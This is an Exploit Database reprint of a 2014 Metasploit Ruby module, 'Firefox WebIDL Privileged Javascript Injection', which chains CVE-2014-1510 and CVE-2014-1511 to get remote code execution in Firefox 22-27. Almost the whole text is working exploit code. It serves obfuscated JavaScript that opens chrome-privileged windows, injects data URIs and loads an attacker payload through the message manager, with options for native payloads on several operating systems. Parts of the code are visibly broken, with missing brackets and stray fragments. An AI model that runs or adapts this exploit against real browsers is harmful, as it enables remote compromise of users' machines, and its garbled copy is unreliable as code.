Mozilla Firefox – WebIDL Privileged JavaScript Injection (Metasploit)

Exploit Database
101 阅读

作者： Metasploit

日期： 2014-08-28
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/34448/

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# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

require 'rex/exploitation/jsobfu'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::BrowserExploitServer

include Msf::Exploit::Remote::BrowserAutopwn

include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

autopwn_info({

:ua_name=> HttpClients::FF,

:ua_maxver=> "22.0",

:ua_maxver=> "27.0",

:javascript => true,

:rank => ExcellentRanking

})

def initialize(info = {})

super(update_info(info,

'Name' => 'Firefox WebIDL Privileged Javascript Injection',

'Description'=> %q{

This exploit gains remote code execution on Firefox 22-27 by abusing two

separate privilege escalation vulnerabilities in Firefox's Javascript

APIs.

'License' => MSF_LICENSE,

'Author'=> [

'Marius Mlynski', # discovery and pwn2own exploit

'joev' # metasploit module

'DisclosureDate' => "Mar 17 2014",

'References' => [

['CVE', '2014-1510'], # open chrome:// url in iframe

['CVE', '2014-1511']# bypass popup blocker to load bare ChromeWindow

'Targets' => [

[

'Universal (Javascript XPCOM Shell)', {

'Platform' => 'firefox',

'Arch' => ARCH_FIREFOX

}

[

'Native Payload', {

'Platform' => %w{ java linux osx solaris win },

'Arch' => ARCH_ALL

}

]

'DefaultTarget' => 0,

'BrowserRequirements' => {

:source=> 'script',

:ua_name => HttpClients::FF,

:ua_ver=> lambda { |ver| ver.to_i.between?(22, 27) }

}

))

register_options([

OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])

], self.class)

end

def on_request_exploit(cli, request, target_info)

send_response_html(cli, generate_html(target_info))

end

def generate_html(target_info)

key = Rex::Text.rand_text_alpha(5 + rand(12))

frame = Rex::Text.rand_text_alpha(5 + rand(12))

r = Rex::Text.rand_text_alpha(5 + rand(12))

opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin

data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+

"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+

"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"

js = Rex::Exploitation::JSObfu.new(%Q|

var opts = #{JSON.unparse(opts)};

var key = opts['#{key}'];

// Load the chrome-privileged browser XUL script into an iframe

var c = new mozRTCPeerConnection;

c.createOffer(function(){},function(){

window.open('chrome://browser/content/browser.xul', '#{frame}');

step1();

});

// Inject a data: URI into an internal frame inside of the browser

// XUL script to pop open a new window with the chrome flag to prevent

// the new window from being wrapped with browser XUL;

function step1() {

var clear = setInterval(function(){

// throws until frames[0].frames[2] is available (when chrome:// iframe loads)

frames[0].frames[2].location;

// we base64 this to avoid the script tag screwing up things when obfuscated

frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}');

clearInterval(clear);

setTimeout(step2, 100);

},10);

}

// Step 2: load the chrome-level window up with a data URI, which

// gives us same-origin. Make sure to load an "<iframe mozBrowser>"

// into the frame, since that will respond to our messageManager

// (this is important later)

function step2() {

var clear = setInterval(function(){

top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+

'src="about:blank"></iframe></body></html>';

clearInterval(clear);

setTimeout(step3, 100);

}, 10);

}

function step3() {

var clear = setInterval(function(){

if (!frames[0]) return; // will throw until the frame is accessible

top.vvv.messageManager.loadFrameScript('data:,'+key, false);

clearInterval(clear);

setTimeout(function(){top.vvv.close();}, 100);

}, 10);

}

js.obfuscate

%Q|

<!doctype html>

<html>

<body>

style='position:absolute;left:-9999999px;height:1px;width:1px;'>

</iframe>

#{js}

</script>

#{datastore['CONTENT']}

</body>

</html>

end